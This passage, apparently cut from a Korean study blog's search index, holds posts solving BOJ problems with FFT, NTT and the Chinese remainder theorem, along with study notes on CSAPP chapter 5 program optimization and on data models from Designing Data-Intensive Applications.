\u0026gt; 1){ int mid = (ok + ng) \u0026gt;\u0026gt; 1; if(int_to_op[mid] \u0026lt;= Y) ok = mid; else ng = mid; } Ypq.push(ok); Y -= int_to_op[ok]; } while(abs((int)Xpq.size() - (int)Ypq.size()) \u0026gt; 1){ if(Xpq.size() \u0026lt; Ypq.size()){ if(Xpq.size() == 0 || Xpq.top() == 1){ cout \u0026lt;\u0026lt; \u0026#34;impossible\u0026#34;; return; } ll top = Xpq.top(); Xpq.pop(); Xpq.push(top-1); Xpq.push(top-1); Xpq.push(1); } else{ if(Ypq.size() == 0 || Ypq.top() == 1){ cout \u0026lt;\u0026lt; \u0026#34;impossible\u0026#34;; return; } ll top = Ypq.top(); Ypq.pop(); Ypq.push(top-1); Ypq.push(top-1); Ypq.push(1); } } string ans = \u0026#34;\u0026#34;; if(Xpq.size() \u0026gt;= Ypq.size()){ while(!Xpq.empty() || !Ypq.empty()){ rep(i, 0, Xpq.top()) ans += \u0026#39;R\u0026#39;; Xpq.pop(); if(Ypq.empty()) break; rep(i, 0, Ypq.top()) ans += \u0026#39;U\u0026#39;; Ypq.pop(); } } else{ while(!Xpq.empty() || !Ypq.empty()){ rep(i, 0, Ypq.top()) ans += \u0026#39;U\u0026#39;; Ypq.pop(); if(Xpq.empty()) break; rep(i, 0, Xpq.top()) ans += \u0026#39;R\u0026#39;; Xpq.pop(); } } if(ans.size() \u0026lt;= 4000) cout \u0026lt;\u0026lt; ans; else cout \u0026lt;\u0026lt; \u0026#34;impossible\u0026#34;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-04-09T00:00:00Z","permalink":"/posts/algorithm/ps/260409_algorithm_boj-32527-insane-drift/","title":"BOJ 32527 Insane Drift"},{"content":"📝 상세 정리 프로그램 성능 개선을 표현하기 위해 CPE(cycles per element)라는 지표를 도입하겠다. 이는 반복 프로그램의 루프 성능을 설명하기 좋다. 이미지 픽셀 처리, 행렬 곱셈과 같이 반복연산을 하는 프로그램에 적합하다. 앞에서 배웠듯 프로세서에 의한 활동의 순서는 클럭에 의해서 제어되고, 클럭의 각 사이클마다 파이프라인이 하나 진행된다. 간단한 누적합을 계산하는 코드에서, 한 사이클/반복 당 한개의 항을 계산하는 대신 두개씩 계산하면 반복 횟수를 줄일 수 있다. 이를 루프 언롤링이라고 한다. ❔질문 사항 🔗 참고 자료 ","date":"2026-04-08T00:00:00Z","permalink":"/posts/books/csapp/chapter-05-optimizing-program-performance/260408_til_csapp-5.2-expressing-program-performance/","title":"CSAPP 5.2 Expressing Program Performance"},{"content":"📝 상세 정리 앞으로는 벡터 자료구조를 기반으로 예제를 생각할 것이다. 벡터는 헤더와 데이터 배열이라는 두개의 메모리 블록으로 표현된다. 1\t/* Create abstract data type for vector */ 2\ttypedef struct { 3\tlong len; 4\tdata_t *data; 5\t} vec_rec, *vec_ptr; data_t, OP등을 조절해서 최적화 없이 그대로 어셈블리로 옮긴 경우와 -O1을 적용한 경우를 비교하면, int / float 여부, + / * 여부에따라 조금 다르지만 아무튼 최적화가 일어난다. 따라서 일반적으로 어떤 수준의 최적화를 활성화하는 습관을 들이는 것이 좋다. ❔질문 사항 🔗 참고 자료 ","date":"2026-04-08T00:00:00Z","permalink":"/posts/books/csapp/chapter-05-optimizing-program-performance/260408_til_csapp-5.3-program-example/","title":"CSAPP 5.3 Program Example"},{"content":"📝 상세 정리 함수의 다음 부분을 최적화 해보자. 7\tfor (i = 0; i \u0026lt; vec_length(v); i++) { 8\tdata_t val; 9\tget_vec_element(v, i, \u0026amp;val); 10\t*dest = *dest OP val; 11\t} vec_length(v)를 매 반복마다 호출해서 비교하게된다. 이를 위에서 변수로 저장하고, 그 변수랑만 비교하면 해당 함수로 인한 반복되는 계산을 줄일 수 있다. 이 최적화를 code motion 이라고 한다. 최적화 컴파일러는 이 code motion을 수행하려고 시도하지만, 앞에서 배운것과 같이 어떤 예외사항이 발생할지 모르기때문에 꽤나 신중하다. 프로그래머가 명시적으로 수행하는게 좋을 수도 있다. 극단적인 예시로, 다음을 보자. 1\t/* Convert string to lowercase: slow */ 2\tvoid lower1(char *s) 3\t{ 4\tlong i; 5\t6\tfor (i = 0; i \u0026lt; strlen(s); i++) 7\tif (s[i] \u0026gt;= `A\u0026#39; \u0026amp;\u0026amp; s[i] \u0026lt;= `Z\u0026#39;) 8\ts[i] -= (`A\u0026#39; - `a\u0026#39;); 9\t} 10\t11\t/* Convert string to lowercase: faster */ 12\tvoid lower2(char *s) 13\t{ 14\tlong i; 15\tlong len = strlen(s); 16\t17\tfor (i = 0; i \u0026lt; len; i++) 18\tif (s[i] \u0026gt;= `A\u0026#39; \u0026amp;\u0026amp; s[i] \u0026lt;= `Z\u0026#39;) 19\ts[i] -= (`A\u0026#39; - `a\u0026#39;); 20\t} 21\t22\t/* Sample implementation of library function strlen */ 23\t/* Compute length of string */ 24\tsize_t strlen(const char *s) 25\t{ 26\tlong length = 0; 27\twhile (*s != `\\0\u0026#39;) { 28\ts++; 29\tlength++; 30\t} 31\treturn length; 32\t} strlen함수의 시간복잡도가 $O(N)$이라서, $O(N^2)$가 될 정도로 차이가 존재한다. 하지만 이는 컴파일러가 인식하기 어려운 상황이고, 따라서 프로그래머가 직접 변환을 수행해주어야 한다. ❔질문 사항 🔗 참고 자료 ","date":"2026-04-08T00:00:00Z","permalink":"/posts/books/csapp/chapter-05-optimizing-program-performance/260408_til_csapp-5.4-elimination-loop-inefficiencies/","title":"CSAPP 5.4 Elimination Loop Inefficiencies"},{"content":"📝 상세 정리 앞서 살펴본 바와 같이 프로시져 호출은 오버헤드를 발생시키고, 프로그램 최적화를 발생할 수 있다. 8\tfor (i = 0; i \u0026lt; length; i++) { 9\tdata_t val; 10\tget_vec_element(v, i, \u0026amp;val); 11\t*dest = *dest OP val; 12\t} 이런 부분에서, get_vec_element가 매 루프 반복마다 호출되고, 이 안에서 i가 유효한 인덱스인지 매번 검사하는데, 이 또한 비효율적이다. 1\tdata_t *get_vec_start(vec_ptr v) 2\t{ 3\treturn v-\u0026gt;data; 4\t} 1\t/* Direct access to vector data */ 2\tvoid combine3(vec_ptr v, data_t *dest) 3\t{ 4\tlong i; 5\tlong length = vec_length(v); 6\tdata_t *data = get_vec_start(v); 7 8\t*dest = IDENT; 9\tfor (i = 0; i \u0026lt; length; i++) { 10\t*dest = *dest OP data[i]; 11\t} 12\t} 위와 같이 바꾸면 함수를 호출하는 대신 배열에 직접 접근하고, 더 빨라질 것을 기대할 수 있다. 하지만 실제로 테스트해보면 명백한 성능 향상을 일어나지 않고, 정수 ADD는 오히려 성능이 저하되었다. 5.11.2에서 왜 위의 함수가 성능향상이 발생하지 않는지 확인할 수 있다. 아직은 이 변환이 궁극적으로 성능향상을 위한 단계중 하나로 작용할 수는 있다는 것 까지만 알아두자. ❔질문 사항 🔗 참고 자료 ","date":"2026-04-08T00:00:00Z","permalink":"/posts/books/csapp/chapter-05-optimizing-program-performance/260408_til_csapp-5.5-reducing-procedure-calls/","title":"CSAPP 5.5 Reducing Procedure Calls"},{"content":"📝 상세 정리 CSAPP 5.5 Reducing Procedure Calls 에서 최적화한 코드를 어셈블리로 보면 다음과 같다. 1\t. L17:\tloop: 2\tvmovsd (%rbx), %xmm0\tRead product from dest 3\tvmulsd (%rdx), %xmm0, %xmm0\tMultiply product by data[i] 4\tvmovsd %xmm0, (%rbx)\tStore product at dest 5\taddq $8, %rdx\tIncrement data+i 6\tcmpq %rax, %rdx\tCompare to data+length 7\tjne .L17\tIf !=, goto loop 문제점이 조금 보인다. dest는 %rbx에 저장되어있고, 반복문 인덱스 i는 %rdx에, 루프 종료는 %rax의 값이랑 비교하면서 감지한다. dest, 즉 %rbx를 계속해서 읽고쓰고 하고있다!! 그럴 필요가 없는데. 1\t/* Accumulate result in local variable */ 2\tvoid combine4(vec_ptr v, data_t *dest) 3\t{ 4\tlong i; 5\tlong length = vec_length(v); 6\tdata_t *data = get_vec_start(v); 7\tdata_t acc = IDENT; 8\t9\tfor (i = 0; i \u0026lt; length; i++) { 10\tacc = acc OP data[i]; 11\t} 12\t*dest = acc; 13\t} 그 파트를 위와 같이 수정해보자. data_t acc가 생긴게 차이점이다. 메모리를 다시 읽지 않고, 레지스터 하나에서 고정해서 계산할 수 있게 되었으므로 훨씬 빨라진다! 이는 컴파일러 최적화로 왜 자동으로 잡히지 않았을까? *dest가 v의 원소엿다고 생각해보자. 이런 alias가 발생했다면, 마음대로 바꾸는것만으로는 배열이 훼손되면서 값이 달라지게 된다!! 따라서 컴파일러는 그런 오류를 방지하기 위해 최적화하지 못하고, 느리게 작동한다. ❔질문 사항 🔗 참고 자료 ","date":"2026-04-08T00:00:00Z","permalink":"/posts/books/csapp/chapter-05-optimizing-program-performance/260408_til_csapp-5.6-eliminating-unneeded-memory-references/","title":"CSAPP 5.6 Eliminating Unneeded Memory References"},{"content":"📝 상세 정리 지금까지는 대상 머신의 기능들을 활용하지 않고, 프로시져의 오버헤드 줄이기, 최적화 방해요소 없애기 등에 초점을 두었다. 성능을 더욱 극대화하기 위해 프로세서의 명령어 단에서의 기반 설계까지 활용해서 최적화해보자. 현대 프로세서는 프로그램 성능을 극대화 하기 위해 복잡한 하드웨어를 이용하는데, 이때문에 생각보다 실제 작동 방식이 기계어랑은 조금 다를 수 있다. 코드 수준에서는 명령어가 하나씩 순차적으로 수행하는걸로 보이지만 실제로는 여러 명령어가 동시에 평가되고 있으니까! 앞에서 파이프라이닝 해봤으니 잘 알지 현재 프로그램의 최대 성능을 특징짓는 두가지 하한선이 있는데 지연시간 한계 한 연산의 결과가 다음 연산이 시작되기 전에 필요할 때. 연산이 순서대로 발생해야 하는 경우 처리량 한계 프로세스의 기능 유닛이 가진 원시적인 컴퓨팅 능력 5.7.1 Overall Operation ❔질문 사항 🔗 참고 자료 ","date":"2026-04-08T00:00:00Z","permalink":"/posts/books/csapp/chapter-05-optimizing-program-performance/260408_til_csapp-5.7-understanding-modern-processors/","title":"CSAPP 5.7 Understanding Modern Processors"},{"content":"📝 상세 정리 현대 컴파일러는 프로그램에서 어떤 값이 계산되고 어떻게 사용되는지를 결정하기 위해 정교한 알고리즘을 사용한다. 식 단순화, 계산결과 재활용, 계산 횟수 감소 등을 지원한다. 대부분의 컴파일러는 -Og, -O1, -O2\u0026hellip;처럼 최적화 레벨도 지정할 수 있다. 여기서는 일단 -O1로 컴파일도니 코드를 위주로 고려하겠다. 컴파일러는 프로그램에 대해 안전하지 않은 최적화를 적용해서는 안된다. 다음과 같은 함수가 있다고 생각해보자. 1\tvoid twiddlel(long *xp, long *yp) 2\t{ 3\t*xp += *yp; 4\t*xp += *yp; 5\t} 6\t7\tvoid twiddle2(long *xp, long *yp) 8\t{ 9\t*xp += 2* *yp; 10\t} 첫번째 함수는 메모리 참조 6번, 두번째 함수는 3번이니 알아서 최적화하지 않을까? 싶다. 하지만 xp와 yp가 같다면, 그렇게 하면 결과가 달라지게 된다! 이렇게 두 포인터가 동일한 메모리 위치를 가리킬 수 있는 경우를 메모리 별칭(memory aliasing) 이라고 한다. 안전한 최적화만 수행하는 컴파일러는 서로 다른 포인터가 겹칠 수 있다 (alias 될 수 있다)고 가정해야 한다. ❔질문 사항 🔗 참고 자료 ","date":"2026-04-07T00:00:00Z","permalink":"/posts/books/csapp/chapter-05-optimizing-program-performance/260407_til_csapp-5.1-capabilities-and-limitations-of-optimizing-compilers/","title":"CSAPP 5.1 Capabilities and Limitations of Optimizing Compilers"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/11385 🧐 관찰 및 접근 그냥 FFT의 정의대로, 두 다항식의 곱을 해서 계수들을 구해야한다. 그런데 값이\u0026hellip; 너무 많이 커질 수 있다. $N, M = 1000000$, 모든 $a, b = 1000000$이라면\u0026hellip; $f(x) \\times g(x)$의 $1000000$차항의 계수는 $10^{18}$이 되는 것 같다. 이건 FFT로 하면 실수오차가 너무 심할 것 같은데\u0026hellip; 이럴때, NTT를 여러 소수 $p_1, p_2, \\cdots$에 대해서 구해두고, 중국인의 나머지 정리를 이용해 원래 계수를 복원하는 방법을 생각할 수 있겠다. CRT를 사용하면, $\\text{LCM}(m_1, m_2)$ 에 대한 모듈러 값을 얻을 수 있다. $p_1 = 998244353, p_2 = 1004535809$을 사용하면 $p_1p_2 \u003e 10^{18}$이므로, 두개면 되겠다. 💻 풀이 코드 (C++): void solve(){ int N, M; cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; M; N++; M++; vector\u0026lt;int\u0026gt; f(N), g(M); rep(i, 0, N) cin \u0026gt;\u0026gt; f[i]; rep(i, 0, M) cin \u0026gt;\u0026gt; g[i]; int sz = 1; while(sz \u0026lt; N+M) sz \u0026lt;\u0026lt;= 1; vector\u0026lt;mint\u0026gt; A1(sz), A2(sz); rep(i, 0, N) A1[i] = f[i]; rep(i, 0, M) A2[i] = g[i]; FFT::ntt(A1); FFT::ntt(A2); rep(i, 0, sz) A1[i] *= A2[i]; FFT::ntt(A1, true); vector\u0026lt;mint2\u0026gt; B1(sz), B2(sz); rep(i, 0, N) B1[i] = f[i]; rep(i, 0, M) B2[i] = g[i]; FFT::ntt(B1); FFT::ntt(B2); rep(i, 0, sz) B1[i] *= B2[i]; FFT::ntt(B1, true); ll ans = 0; rep(i, 0, N+M-1){ ll r1 = A1[i].val, r2 = B1[i].val; auto [x, m] = EGCD::CRT(MOD, r1, MOD2, r2); ans ^= x; } cout \u0026lt;\u0026lt; ans; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-04-06T00:00:00Z","permalink":"/posts/algorithm/ps/260407_algorithm_boj-11385-%EC%94%BD%ED%81%AC%EC%8A%A4%EB%AA%B0/","title":"BOJ 11385 씽크스몰"},{"content":"📝 상세 정리 FFT를 잘 모른다면, 먼저 읽고 오자. 다항식의 곱셈 결과를 특정 소수 $p$로 나눈 나머지를 구해야하거나, 값이 커지거나 해서 실수 오차가 발생하는 경우가 있다. 실수를 안쓰고 FFT를 할 수는 없을까? 우리가 FFT에서 핵심으로 사용하던 $\\omega = \\exp\\left(-i\\dfrac{2\\pi}{N}\\right)$를 조금 더 생각해보자. FFT에서 사용되는 핵심적인 성질은 $\\omega^N = 1$ 이고, $1, \\omega, \\omega^2, \\cdots, \\omega^{N-1}$이 모두 다르다는 점이다. 그러면 모듈러 합동식의 관점에서, 어떤 수 $k$와 어떤 소수 $p$가 있어서 $k^N \\equiv 1 \\pmod p$를 만족시키고, $1, g, g^2, \\cdots, g^{N-1} \\pmod p$이 모두 다르다면, FFT와 같은 느낌으로 사용할 수 있지 않을까? 이러한 수 $g$를 원시근이라고 한다. 그러면 $N$을 또 잘 잡아야할 것 같은데, 페르마의 소정리를 이용할 수 있을 것 같다. $a^{p-1} \\equiv 1 \\pmod p$ 이므로, $N = p-1$이면 좋을 것 같다. FFT를 반으로 쪼개던 방법을 잘 이용하기 위해선, $N$이 $2$로 충분히 많이 나누어 떨어지면 좋겠다. $N = a \\times 2^b$ 꼴이면 좋겠고, 이에 따라 $p = a \\times 2^b + 1$ 이면 좋겠다. $N$을 $2$로 나누어 떨어지게 할 수 있는 횟수에 따라 FFT로 계산 가능한 배열의 크기가 달라진다! $n \\leq 2^b$ 의 크기의 다항식까지만 가능하다. 이로 어울리는 대표적인 소수로는 $p = 998244353 = 119 \\times 2^{23} + 1$ 이 있겠다. 이때 원시근 $g = 3$ 을 사용할 수 있다. 그러면 이제 $\\omega = \\exp\\left(-i\\dfrac{2\\pi}{N}\\right)$ 대신 $\\omega = g^{(p-1)/n}$ 을 이용해서 FFT를 수행할 수 있게 되었다. 이를 구현하면 다음과 같다. void ntt(vector\u0026lt;mint\u0026gt; \u0026amp;a, bool inv = false){ int N = a.size(); assert(N \u0026gt; 0 \u0026amp;\u0026amp; (N \u0026amp; (N-1)) == 0); // N은 2의 거듭제곱이어야 함 // 비트 뒤집기 for(int i = 1, j = 0; i \u0026lt; N; i++){ int bit = N \u0026gt;\u0026gt; 1; for(; j \u0026amp; bit; bit \u0026gt;\u0026gt;= 1) j ^= bit; j ^= bit; if(i \u0026lt; j) swap(a[i], a[j]); } // 단위근 미리 계산 mint ang = mint(3).pow((MOD-1)/N); if(inv) ang = ang.inv(); vector\u0026lt;mint\u0026gt; w(N/2); // 단위근 w[0] = 1; rep(i, 1, N/2) w[i] = w[i-1] * ang; // Cooley-Tukey FFT for(int len = 2; len \u0026lt;= N; len \u0026lt;\u0026lt;= 1){ int step = N / len; for(int i = 0; i \u0026lt; N; i += len){ rep(j, 0, len\u0026gt;\u0026gt;1){ mint even = a[i+j], odd = a[i+j+(len\u0026gt;\u0026gt;1)] * w[j*step]; a[i+j] = even + odd; a[i+j+(len\u0026gt;\u0026gt;1)] = even - odd; } } } // 역 FFT인 경우 결과를 N으로 나눔 if(inv){ mint invN = mint(N).inv(); rep(i, 0, N) a[i] *= invN; } } ❔질문 사항 🔗 참고 자료 https://rkm0959.tistory.com/187 https://algoshitpo.github.io/2020/05/20/fft-ntt/ ","date":"2026-04-06T00:00:00Z","permalink":"/posts/algorithm/topics/260406_til_nttnumber-theoretic-transform---%EC%A0%95%EC%88%98%EB%A1%A0%EC%A0%81-%EB%B3%80%ED%99%98/","title":"NTT(Number Theoretic Transform) - 정수론적 변환"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/14958 번역 문제 가위바위보(RPS) 기계가 있으며, 이 기계는 가위, 바위, 보 중 하나를 무작위로 생성한다. 당신도 비슷한 소형 가위바위보 기계를 가지고 있다. 게임 전에, RPS 기계는 길이 $n$의 가위바위보 선택 목록을 생성하고, 당신의 기계도 길이 $m$의 선택 목록을 생성한다. 즉, RPS 기계의 전체 선택 목록과 당신의 기계의 선택 목록을 모두 알고 있다. 물론, 각 기계의 선택은 세 가지 옵션(가위, 바위, 보) 중 하나이다.\n이제 가위바위보 게임을 시작한다. 매 대결에서 RPS 기계의 선택 목록과 당신의 기계의 선택 목록을 순서대로 비교하여 어느 쪽이 이기는지 판정한다. 단, 당신은 가장 많은 승리 횟수를 얻기 위해 RPS 기계의 선택 일부를 건너뛸 수 있다. 대결을 시작하기로 결정한 후에는 대결이 끝날 때까지 건너뛸 수 없다. R은 바위, P는 보, S는 가위를 나타낸다.\n예를 들어, RPS 기계의 목록이 \u0026ldquo;RSPPSSSRRPPR\u0026ldquo;이고 당신의 기계의 목록이 \u0026ldquo;RRRR\u0026ldquo;라고 하자. 최대 승리 횟수를 얻으려면, RPS 기계의 선택을 3개 또는 4개 건너뛴 후 대결을 시작해야 한다. (Figure H.1 참조.) 그러면 3번 승리할 수 있다. 무승부는 고려하지 않는다.\nFigure H.1. $n = 12$, $m = 4$일 때 RPS 기계를 상대로 최대 승리를 얻는 위치.\nRPS 기계의 선택 목록과 당신의 선택 목록이 주어질 때, 최대 승리 횟수를 얻을 수 있는 위치를 구하시오.\n입력 표준 입력으로 읽는다. 첫째 줄에 두 양의 정수 $n$과 $m$이 주어진다 ($1 \\le m \u003c n \\le 100{,}000$). $n$은 RPS 기계의 문자열 길이이고, $m$은 당신의 기계의 문자열 길이이다. 다음 줄에는 RPS 기계의 선택 목록이, 그다음 줄에는 당신의 기계의 선택 목록이 주어진다.\n출력 표준 출력으로 출력한다. 첫째 줄에 최대 승리 횟수를 나타내는 정수를 출력한다.\n🧐 관찰 및 접근 약간 밀어서 합성곱을 최대화 하는 맛.. BOJ 25456 궁금한 시프트랑 비슷해보인다! 그런데 0/1이 아니라 RSP인데\u0026hellip; 근데 그냥 RSP 따로 해서 FFT를 3번 돌리면 되지 않을까? 최대 승리를 위한 위치가 아니라 최대 승리 횟수 자체만 승리하면 된다! 쉽네 💻 풀이 코드 (C++): void solve(){ int N, M; cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; M; string S, T; cin \u0026gt;\u0026gt; S \u0026gt;\u0026gt; T; vector\u0026lt;int\u0026gt; ans(N+M); string RPS = \u0026#34;RPS\u0026#34;; int sz = 1; while(sz \u0026lt; N+M) sz \u0026lt;\u0026lt;= 1; rep(i, 0, 3){ vector\u0026lt;cd\u0026gt; A(sz), B(sz); rep(j, 0, N) A[j] = S[j] == RPS[i]; rep(j, 0, M) B[M-1-j] = T[j] == RPS[(i+1)%3]; FFT::fft(A); FFT::fft(B); rep(j, 0, sz) A[j] *= B[j]; FFT::fft(A, true); rep(j, 0, N+M-1) ans[j] += round(A[j].real()); } int mx = -1; rep(i, M-1, N+M-1) mx = max(mx, ans[i]); cout \u0026lt;\u0026lt; mx; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-04-05T00:00:00Z","permalink":"/posts/algorithm/ps/260405_algorithm_boj-14958-rock-paper-scissors/","title":"BOJ 14958 Rock Paper Scissors"},{"content":"📝 상세 정리 인트로 데이터 모델은 소프트웨어 개발에서 제일 중요하다 특히 데이터 모델을 표현하는 방법이 중요한데 어떤 데이터를 저장할것인가 (사람 / 조직 등) 어떤 형태로 저장할것인가 (json / xml 등) 어떤 장소에 저장할것인가 (램 / 하드디스크 등) 어떤 방식으로 저장할것인가 (전류 / 빛의파동 등) 결국 이들을 추상화시키는게 중요하다. 관계형 모델과 문서 모델 1970년 에드가 코드가 제안한 관계형 모델을 기반으로한 SQL이 젤 잘 알려져있는데\n이는 비즈니스 데이터 처리에 근간을 둔다 트랜잭션 처리 일괄 처리 등 네트워크 모델, 계층 모델등이 대안으로 나왔지만, 결국 관계형 모델이 평정했다.\nNoSQL의 탄생\n2010년대, Not Only SQL이라는게 유행을 탔는데 이는 대규모 데이터셋 높은 쓰기 처리량 달성 무료 오픈 소프트웨어에 대한 선호도 특수 질의 동작 동적인 데이터 모델 등을 위해서였다. 가까운 미래에는 관계형 DB도 다양함을 위해 비관계형 데이터 스토어와 함께 사용될텐데, 이를 다중 저장소 지속성이라 한다. 객체 관계형 불일치\n데이터를 관계형 테이블에 저장할때 각 모델 객체 사이에 전환 계층이 필요한데, 이를 임피던스 불일치라고 한다. 다대일과 다대다 관계\n중복된 데이터를 정규화하려면 다대일 관계가 필요한데, 이는 문서 모델에 적합하지 않다. 문서 DB에서는 조인에 대한 지원이 약해서 그러면 다중질의를 만들어서 흉내내야하는데\u0026hellip; 어떤 데이터 모델이 애플리케이션 코드를 더 간단하게 할가?\n문서와 비슷한 구조를 여러 테이블에 나누어 찢는 관계형 기법은 불필요하게 복잡해진다. 너무 깊게 중첩되지 않으면 괜찮지만\u0026hellip; 문서 DB와 관계형 DB의 통합\n대부분의 관계형 DB는 이제 XML도 지원함 심지어 둘이 점점 비슷해지는중! 이것이 가야할 올바른 길 데이터를 위한 질의 언어\nSQL은 선언형, IMS와 코다실은 명령형 코드\n그래프형 데이터 모델 그래프는 정점과 간선이라는 객체로 이루어진다. 속성 그래프 모델 고유식별자 / 유출 / 유입 / 컬렉션 등으로 이루어진 정점과 고유식별자 / u, v/ 관계 유형 / 컬렉션 등으로 이루어진 간선으로 만든 그래프 데이터 모델 사이퍼 질의언어 속성 그랲를 위한 질의 언어 트리플 저장소와 스파클 트리플 저장소 모델은 속성 그래프 모델과 비슷 정리 데이터 모델은 광범위한 주제임 데이터를 한 트리로 크게 관리하고싶었지만, 이는 다대다 관계를 표현하기 어려었음 하지만 여기에도 애로사항이 있어서 NoSQL도 만들고, 그래프도 만들고\u0026hellip; 아무튼 세 모델은 각자의 영역에서 훌륭하고, 서로를 흉내낼 수는 있지만 엉망이다. 게놈데이터모델, 빅데이터스타일 모델, full-text 검색등 여러가지가 더 있지만, 아무튼 다 알고 잘 써야한다는 이야기 ❔질문 사항 🔗 참고 자료 ","date":"2026-04-04T00:00:00Z","permalink":"/posts/books/ddia/260404_til_%EB%8D%B0%EC%9D%B4%ED%84%B0-%EC%A4%91%EC%8B%AC-%EC%95%A0%ED%94%8C%EB%A6%AC%EC%BC%80%EC%9D%B4%EC%85%98-%EC%84%A4%EA%B3%84-02-%EB%8D%B0%EC%9D%B4%ED%84%B0-%EB%AA%A8%EB%8D%B8%EA%B3%BC-%EC%A7%88%EC%9D%98-%EC%96%B8%EC%96%B4/","title":"02 데이터 모델과 질의 언어"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/20176 번역 문제 \u0026ldquo;바늘\u0026quot;은 북쪽 왕국에 사는 전설적인 암살자이다. 알다시피, 바늘은 매우 가늘고 길다. 무엇보다, 치명적으로 날카롭다. 북쪽 왕국의 왕은 바늘이 수없이 찔러 자신을 죽일지도 모른다는 생각에 사로잡혀 있다. 왕은 바늘을 체포하라는 긴급 명령을 내렸다. 그리하여 바늘은 남쪽 왕국으로 탈출하기로 결심했다.\n아래 그림과 같이, 두 왕국 사이의 국경은 세 개의 수평 장벽(선분)으로 이루어져 있으며, 각 장벽에는 하나 이상의 극소 크기의 구멍이 뚫려 있다. (구멍은 그림에서 $\\times$로 표시되어 있다.) 세 장벽은 길이가 같으며 그림과 같이 수직으로 나란히 정렬되어 있다. 위쪽 장벽은 가운데 장벽보다 1단위 위에, 가운데 장벽은 아래쪽 장벽보다 1단위 위에 위치한다. 두 왕국은 뚫을 수 없는 외벽으로 둘러싸여 있다. 각 왕국의 영토는 매우 넓어서, 바늘은 왕국 안에서 자유롭게 움직일(평행 이동 또는 회전) 수 있다. 바늘의 길이는 장벽 길이의 최소 두 배 이상이다. 바늘은 강체, 즉 구부러지지 않으며 두께가 없으므로, 구멍은 자유롭게 통과할 수 있지만 구멍 이외의 장벽 부분은 뚫을 수 없다.\n북쪽 왕국에서 남쪽 왕국으로 가는 유일한 방법은, 세 장벽 각각의 구멍 하나씩을 동시에 통과하는 것이다. 즉, 바늘은 세 장벽에서 각각 하나씩, 총 세 개의 구멍이 일직선 위에 놓여 있을 때에만 국경을 통과할 수 있다. 그림의 국경에서는 북쪽에서 남쪽으로 가는 탈출 통로가 두 개 존재한다.\n이 불쌍한 암살자를 위해, 북쪽 왕국에서 남쪽 왕국으로 가능한 탈출 통로의 수를 구하는 프로그램을 작성하라.\n입력 표준 입력으로부터 읽는다. 입력은 여섯 줄로 구성된다. 첫 번째 줄에는 위쪽 장벽의 구멍 수를 나타내는 양의 정수 $n_u$가 주어진다. 두 번째 줄에는 구멍들의 $x$좌표를 나타내는 $n_u$개의 정수가 공백으로 구분되어 주어진다. 세 번째와 네 번째 줄은 가운데 장벽에 대한 것으로, 각각 가운데 장벽의 구멍 수 $n_m$과 $n_m$개의 구멍의 $x$좌표가 주어진다. 다섯 번째와 여섯 번째 줄은 아래쪽 장벽에 대한 것으로, 각각 아래쪽 장벽의 구멍 수 $n_l$과 $n_l$개의 구멍의 $x$좌표가 주어진다. $1 \\leq n_u, n_m, n_l \\leq 50{,}000$이며, 모든 구멍의 $x$좌표는 $-30{,}000$ 이상 $30{,}000$ 이하의 정수이다. 각 장벽의 구멍들은 서로 다른 $x$좌표를 가진다.\n출력 표준 출력으로 출력한다. 정확히 한 줄을 출력한다. 북쪽에서 남쪽으로 가능한 모든 통로의 수를 나타내는 음이 아닌 정수를 출력하라.\n🧐 관찰 및 접근 윗쪽, 가운데, 아랫쪽에서 숫자 하나씩을 골랐을때, 등차수열을 이루면 되는 것 같다. 윗쪽, 아랫쪽을 더해서 만들 수 있는 수들중에, 가운데 수의 두배가 되는 경우의 수를 찾자. 더하는걸 나이브하게 하면 $O(N^2)$, 두 수를 고르고 이분탐색하거나 하면 $O(N^2\\log N)$이지만.. 차수로 생각하면 $x$ 좌표의 범위에 대해 $O(X\\log{X})$에 될 것 같다. 💻 풀이 코드 (C++): void solve(){ int n1; cin \u0026gt;\u0026gt; n1; vector\u0026lt;int\u0026gt; v1(n1); rep(i, 0, n1) cin \u0026gt;\u0026gt; v1[i]; int n2; cin \u0026gt;\u0026gt; n2; vector\u0026lt;int\u0026gt; v2(n2); rep(i, 0, n2) cin \u0026gt;\u0026gt; v2[i]; int n3; cin \u0026gt;\u0026gt; n3; vector\u0026lt;int\u0026gt; v3(n3); rep(i, 0, n3) cin \u0026gt;\u0026gt; v3[i]; vector\u0026lt;cd\u0026gt; A(131072), B(131072); for(int x: v1) A[x+30000] = 1; for(int x: v3) B[x+30000] = 1; FFT::fft(A); FFT::fft(B); rep(i, 0, 131072) A[i] *= B[i]; FFT::fft(A, true); int ans = 0; for(int x: v2) ans += round(A[(x+30000)\u0026lt;\u0026lt;1].real()); cout \u0026lt;\u0026lt; ans \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-04-04T00:00:00Z","permalink":"/posts/algorithm/ps/260404_algorithm_boj-20176-needle/","title":"BOJ 20176 Needle"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/25456 🧐 관찰 및 접근 0과 1로 이루어진 두 문자열 $S, T$가 주어진다. 두 문자열에 시프트 연산이 가능하다고 할때, 합성곱의 최댓값을 구하자. 합성곱이므로 FFT를 의심해볼 수 있겠다. 0과 1로 이루어진 문자열을 다항식으로 해석하면 된다. 곱 결과가 같은 차수에 올 수 있도록 한 다항식의 계수들을 뒤집고, 